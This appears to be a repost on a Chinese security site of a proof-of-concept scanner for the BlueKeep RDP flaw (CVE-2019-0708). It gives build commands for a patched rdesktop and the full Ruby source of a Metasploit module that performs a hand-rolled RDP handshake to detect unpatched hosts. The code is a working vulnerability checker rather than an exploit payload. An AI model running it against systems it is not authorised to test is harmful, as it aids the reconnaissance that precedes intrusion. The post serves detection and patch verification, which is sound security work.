微慑信息网

CVE-2019-0708 scanner tools[POC]

git clone https://github.com/zerosum0x0/CVE-2019-0708.git
cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/
./bootstrap
./configure --disable-credssp --disable-smartcard
make
./rdesktop 192.168.1.7:3389

CVE-2019-0708 Scanner

 

https://github.com/zerosum0x0/CVE-2019-0708

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest'
require 'rc4'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 Microsoft Remote Desktop RCE Checker',
      'Description'    => %q{
        This module checks a range of hosts for the CVE-2019-0708 vulnerability.
        This should not cause a DoS on the target.
      },
      'References'     =>
        [
          [ 'CVE', '2019-0708' ],
          [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
          [ 'URL', 'https://github.com/digital-missiles/CVE-2019-0708-PoC-Hitting-Path']
        ],
      'Author'         =>
        [
          'JaGoTu',
          'zerosum0x0'
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        OptPort.new('RPORT', [ true, 'Remote port running RDP', 3389 ])
      ])
  end

  def report_goods
    report_vuln(
      :host         => rhost,
      :port         => rport,
      :proto        => 'tcp',
      :name         => self.name,
      :info         => 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
      :refs         => self.references
    )
  end

  def check_rdp
    # code to check if RDP is open or not
    vprint_status("Verifying RDP protocol...")

    # send connection
    #sock.put(connection_request)
    sock.put(["0300002b26e00000000000436f6f6b69653a206d737473686173683d75736572300d0a0100080001000000"].pack("H*"))

    # read packet to see if its rdp
    res = sock.get_once(-1, 5)

    # return true if this matches our vulnerable response
    #( res and res.match("\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00") )
    return true
  end

  def connection_request
    "\x03\x00" +    # TPKT Header version 03, reserved 0
    "\x00\x0b" +    # Length
    "\x06" +        # X.224 Data TPDU length
    "\xe0" +        # X.224 Type (Connection request)
    "\x00\x00" +    # dst reference
    "\x00\x00" +    # src reference
    "\x00"          # class and options
  end

  def pdu_connect_initial
    pkt = "030001ca02f0807f658201be0401010401010101ff30200202002202020002020200000202000102020000020200010202ffff020200023020020200010202000102020001020200010202000002020001020204200202000230200202ffff0202fc170202ffff0202000102020000020200010202ffff020200020482014b000500147c00018142000800100001c00044756361813401c0d800040008002003580201ca03aa09040000280a0000780031003800310030000000000000000000000000000000000000000000000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ca0100000000001800070001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c00c00090000000000000002c00c00030000000000000003c0440005000000636c697072647200c0a000004d535f543132300080800000726470736e640000c0000000736e646462670000c0000000726470647200000080800000"
    return [pkt].pack("H*")
  end

  def pdu_erect_domain_request
    pkt = "0300000c02f0800400010001"
    return [pkt].pack("H*")
  end

  def pdu_attach_user_request
    "\x03\x00" +         # header
    "\x00\x08" +         # length
    "\x02\xf0\x80" +     # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
    "\x28"               # PER encoded PDU contents
  end

  def pdu_channel_request(user1, channel_id)
    pkt = ""
    pkt << "\x03\x00"          # header
    pkt << "\x00\x0c"          # length
    pkt << "\x02\xf0\x80"       # X.224
    pkt << "\x38"              # ChannelJoin request
    pkt << [user1, channel_id].pack("nn")
    return pkt
  end

  def pdu_security_exchange(rcran, rsexp, rsmod)
    encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
    encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)

    vprint_status("Encrypted client random: #{bin_to_hex(encrypted_rcran)}")

    pkt = ""
    pkt << "\x03\x00\x00\x5f" # TPKT
    pkt << "\x02\xf0\x80" # X.224
    pkt << "\x64" # sendDataRequest
    pkt << "\x00\x08" # intiator userId
    pkt << "\x03\xeb" # channelId = 1003
    pkt << "\x70" # dataPriority
    pkt << "\x80" #
    pkt << "\x50" # UserData length
    pkt << "\x01\x00" # securityHeader flags
    pkt << "\x00\x00" # securityHeader flagsHi
    pkt << "\x48\x00\x00\x00" # securityPkt length
    pkt << encrypted_rcran # 64 bytes encrypted client random
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)
    pkt
  end

  def pdu_client_info()
    data = "000000003301000000000a00000000000000000075007300650072003000000000000000000002001c003100390032002e003100360038002e0031002e0032003000380000003c0043003a005c00570049004e004e0054005c00530079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c000000a40100004700540042002c0020006e006f0072006d0061006c0074006900640000000000000000000000000000000000000000000000000000000000000000000000000000000a00000005000300000000000000000000004700540042002c00200073006f006d006d006100720074006900640000000000000000000000000000000000000000000000000000000000000000000000000000000300000005000200000000000000c4ffffff00000000270000000000"
    return [data].pack("H*")
  end

  def pdu_client_confirm_active()
    data = "a4011300f103ea030100ea0306008e014d53545343000e00000001001800010003000002000000000d04000000000000000002001c00100001000100010020035802000001000100000001000000030058000000000000000000000000000000000000000000010014000000010047012a000101010100000000010101010001010000000000010101000001010100000000a1060000000000000084030000000000e40400001300280000000003780000007800000050010000000000000000000000000000000000000000000008000a000100140014000a0008000600000007000c00000000000000000005000c00000000000200020009000800000000000f000800010000000d005800010000000904000004000000000000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe004000fe008000fe000001400000080001000102000000"
    return [data].pack("H*")
  end

  def pdu_client_persistent_key_list()
    data = "49031700f103ea03010000013b031c00000001000000000000000000000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
    return [data].pack("H*")
  end

  def rdp_parse_serverdata(pkt)
    server_random = pkt[121..152]
    public_exponent = pkt[185..188]
    modulus = pkt[189..252]

    #server_random = hex_to_bin("3280b53a3cf38b7e8b4d9f3539524ba35455aea9ee974f910703534e6ddcb35c")

    vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")
    vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
    vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")

    rsmod = bytes_to_bignum(modulus)
    rsexp = bytes_to_bignum(public_exponent)
    rsran = bytes_to_bignum(server_random)

    #vprint_status("MODULUS  = #{bin_to_hex(modulus)} - #{rsmod.to_s}")
    #vprint_status("EXPONENT = #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
    #vprint_status("SVRANDOM = #{bin_to_hex(server_random)} - #{rsran.to_s}")

    return rsmod, rsexp, rsran, server_random
  end

# used to abruptly abort scanner for a given host
  class RdpCommunicationError < StandardError
  end

  def rdp_send(data)
    sock.put(data)
    #sock.flush
    #sleep(0.1)
    #sleep(0.5)
  end

  def rdp_recv()
    res1 = sock.get_once(4, 5)
    raise RdpCommunicationError unless res1 # nil due to a timeout
    res2 = sock.get_once(res1[2..4].unpack("S>")[0], 5)
    raise RdpCommunicationError unless res2 # nil due to a timeout
    res1 + res2
  end

  def rdp_send_recv(data)
    rdp_send(data)
    return rdp_recv()
  end

  def rdp_encrypted_pkt(data, rc4enckey, hmackey, flags = "\x48\x00", flagsHi = "\x00\x00")
    userData_len = data.length + 12
    udl_with_flag = 0x8000 | userData_len

    pkt = ""
    pkt << "\x02\xf0\x80" # X.224
    pkt << "\x64" # sendDataRequest
    pkt << "\x00\x08" # intiator userId .. TODO: for a functional client this isn't static
    pkt << "\x03\xeb" # channelId = 1003
    pkt << "\x70" # dataPriority
    #pkt << "\x80" # TODO: half of this is length field ......
    pkt << [udl_with_flag].pack("S>")
    pkt << flags #{}"\x48\x00" # flags  SEC_INFO_PKT | SEC_ENCRYPT
    pkt << flagsHi # flagsHi
    pkt << rdp_hmac(hmackey, data)[0..7]
    pkt << rdp_rc4_crypt(rc4enckey, data)

    tpkt = "\x03\x00"
    tpkt << [pkt.length + 4].pack("S>")
    tpkt << pkt

    tpkt
  end

  def try_check(rc4enckey, hmackey)
    sleep 3

    pkt = rdp_encrypted_pkt(["100000000300000000000000020000000000000000000000"].pack("H*"), rc4enckey, hmackey)
    rdp_send(pkt)

    sleep 1
    res = rdp_recv()
    vprint_good(bin_to_hex(res))
  end

  def check_rdp_vuln
    # check if rdp is open
    unless check_rdp
      vprint_status "Could not connect to RDP."
      return Exploit::CheckCode::Unknown
    end

    # send initial client data
    res = rdp_send_recv(pdu_connect_initial)
    rsmod, rsexp, rsran, server_rand = rdp_parse_serverdata(res)

    # erect domain and attach user
    rdp_send(pdu_erect_domain_request )
    res = rdp_send_recv(pdu_attach_user_request)

    user1 = res[9,2].unpack("n").first

    # send channel requests
    rdp_send_recv(pdu_channel_request(user1, 1009))
    rdp_send_recv(pdu_channel_request(user1, 1003))
    rdp_send_recv(pdu_channel_request(user1, 1004))
    rdp_send_recv(pdu_channel_request(user1, 1005))
    rdp_send_recv(pdu_channel_request(user1, 1006))
    rdp_send_recv(pdu_channel_request(user1, 1007))
    rdp_send_recv(pdu_channel_request(user1, 1008))

    #client_rand = "\xff\xee\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff"
    client_rand = "\x41" * 32
    rcran = bytes_to_bignum(client_rand)

    vprint_status("Sending security exchange PDU")
    rdp_send(pdu_security_exchange(rcran, rsexp, rsmod))

    rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)

    vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
    vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
    vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}")
    vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")

    rc4enckey = RC4.new(rc4encstart)

    vprint_status("Sending encrypted client info PDU")
    res = rdp_send_recv(rdp_encrypted_pkt(pdu_client_info(), rc4enckey, hmackey, "\x48\x00"))

    vprint_status("Received License packet: #{bin_to_hex(res)}")

    res = rdp_recv()
    vprint_status("Received Server Demand packet: #{bin_to_hex(res)}")

    vprint_status("Sending client confirm active PDU")
    rdp_send(rdp_encrypted_pkt(pdu_client_confirm_active(), rc4enckey, hmackey, "\x38\x00"))

    vprint_status("Sending client synchronize PDU")
    vprint_status("Sending client control cooperate PDU")
    synch = rdp_encrypted_pkt(["16001700f103ea030100000108001f0000000100ea03"].pack("H*"), rc4enckey, hmackey, "\x08\x00")
    coop = rdp_encrypted_pkt(["1a001700f103ea03010000010c00140000000400000000000000"].pack("H*"), rc4enckey, hmackey, "\x08\x00")
    rdp_send(synch + coop)

    vprint_status("Sending client control request control PDU")
    rdp_send(rdp_encrypted_pkt(["1a001700f103ea03010000010c00140000000100000000000000"].pack("H*"), rc4enckey, hmackey, "\x08\x00"))

    #vprint_status("Sending client persistent key list PDU")
    #rdp_send(rdp_encrypted_pkt(pdu_client_persistent_key_list(), rc4enckey, hmackey))

    vprint_status("Sending client font list PDU")
    rdp_send(rdp_encrypted_pkt(["1a001700f103ea03010000010c00270000000000000003003200"].pack("H*"), rc4enckey, hmackey))

    vprint_status("Sending base PDU")
    rdp_send(rdp_encrypted_pkt(["030000001d0002000308002004051001400a000c840000000000000000590d381001cc"].pack("H*"), rc4enckey, hmackey))

    #res = rdp_recv()
    #vprint_good("#{bin_to_hex(res)}")

    try_check(rc4enckey, hmackey)

    sleep 50

    if res[7,2] == "\x3e\x00"
      report_goods
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end

    # Can't determine, but at least I know the service is running
    return Exploit::CheckCode::Detected
  end

  def check_host(ip)
    # The check command will call this method instead of run_host

    print_warning("This module is a WORK IN PROGRESS! Please do not submit issues that it doesn't work :P")
    print_warning("This module is a WORK IN PROGRESS! Please do not submit issues that it doesn't work :P")
    print_warning("This module is a WORK IN PROGRESS! Please do not submit issues that it doesn't work :P")

    status = Exploit::CheckCode::Unknown

    begin
      connect

      sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
      status = check_rdp_vuln
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog("#{e.message}\n#{bt}")
    rescue RdpCommunicationError => e
      print_error("Error communicating RDP protocol.")
    ensure
      disconnect
    end

    status
  end

  def run_host(ip)
    # Allow the run command to call the check command

    status = check_host(ip)
    if status == Exploit::CheckCode::Vulnerable
      print_good("#{ip}:#{rport} - #{status[1]}")
    else
      print_status("#{ip}:#{rport} - #{status[1]}")
    end
  end

  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
  # mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"
  # data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"
  # hmac = rdp_hmac(mac_salt_key, data_content) # == hexlified: "22d5aeb486994a0c785dc929a2855923"
  def rdp_hmac(mac_salt_key, data_content)
    sha1 = Digest::SHA1.new
    md5 = Digest::MD5.new

    pad1 = "\x36" * 40
    pad2 = "\x5c" * 48

    sha1 << mac_salt_key
    sha1 << pad1
    sha1 << [data_content.length].pack('<L')
    sha1 << data_content

    md5 << mac_salt_key
    md5 << pad2
    md5 << [sha1.hexdigest()].pack("H*")

    return [md5.hexdigest()].pack("H*")
  end

  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
  #  SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
  def rdp_salted_hash(s_bytes, i_bytes, clientRandom_bytes, serverRandom_bytes)
    sha1 = Digest::SHA1.new
    md5 = Digest::MD5.new

    sha1 << i_bytes
    sha1 << s_bytes
    sha1 << clientRandom_bytes
    sha1 << serverRandom_bytes

    md5 << s_bytes
    md5 << [sha1.hexdigest()].pack("H*")
    return [md5.hexdigest()].pack("H*")
  end

  #  FinalHash(K) = MD5(K + ClientRandom + ServerRandom)
  def rdp_final_hash(k, clientRandom_bytes, serverRandom_bytes)
    md5 = Digest::MD5.new

    md5 << k
    md5 << clientRandom_bytes
    md5 << serverRandom_bytes
    return [md5.hexdigest()].pack("H*")
  end

  def rdp_calculate_rc4_keys(client_random, server_random)
    # preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom)
    preMasterSecret = client_random[0..23] + server_random[0..23]

    #  PreMasterHash(I) = SaltedHash(preMasterSecret, I)
    #  MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343)
    masterSecret = rdp_salted_hash(preMasterSecret,"A",client_random,server_random) +  rdp_salted_hash(preMasterSecret,"BB",client_random,server_random) + rdp_salted_hash(preMasterSecret,"CCC",client_random,server_random)

    # MasterHash(I) = SaltedHash(MasterSecret, I)
    # SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A)
    sessionKeyBlob = rdp_salted_hash(masterSecret,"X",client_random,server_random) +  rdp_salted_hash(masterSecret,"YY",client_random,server_random) + rdp_salted_hash(masterSecret,"ZZZ",client_random,server_random)

    # InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob))
    initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)

    # InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob))
    initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)

    macKey = sessionKeyBlob[0..15]

    vprint_status("PreMasterSecret = #{bin_to_hex(preMasterSecret)}")
    vprint_status("MasterSecret = #{bin_to_hex(masterSecret)}")
    vprint_status("sessionKeyBlob = #{bin_to_hex(sessionKeyBlob)}")
    vprint_status("macKey = #{bin_to_hex(macKey)}")
    vprint_status("initialClientDecryptKey128 = #{bin_to_hex(initialClientDecryptKey128)}")
    vprint_status("initialClientEncryptKey128 = #{bin_to_hex(initialClientEncryptKey128)}")

    return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
  end

  def rsa_encrypt(bignum, rsexp, rsmod)
    (bignum ** rsexp) % rsmod
  end

  def rdp_rc4_crypt(rc4obj, data)
    return rc4obj.encrypt(data)
  end

  def bytes_to_bignum(bytesIn, order = "little")
    bytes = bin_to_hex(bytesIn)
    if order == "little"
      bytes = bytes.scan(/../).reverse.join('')
    end
    s = "0x"+bytes
    s.to_i(16)
  end

  def bignum_to_bytes(bigNum, order = "little")
    int_to_bytestring(bigNum)
    if order == "little"
      bytes = bytes.scan(/../).reverse.join('')
    end
  end

  # https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
  def int_to_bytestring( daInt, num_chars=nil )
    unless num_chars
      bits_needed = Math.log( daInt ) / Math.log( 2 )
      num_chars = ( bits_needed / 8.0 ).ceil
    end
    if pack_code = { 1=>'C', 2=>'S', 4=>'L' }[ num_chars ]
      [ daInt ].pack( pack_code )
    else
      a = (0..(num_chars)).map{ |i|
        (( daInt >> i*8 ) & 0xFF ).chr
      }.join
      a[0..-2] # seems legit lol
    end
  end

  def bin_to_hex(s)
    s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
  end

  def hex_to_bin(s)
    s.scan(/../).map { |x| x.hex.chr }.join
  end

end

 

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » CVE-2019-0708 scanner tools[POC]

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫

微信扫一扫

登录

找回密码

注册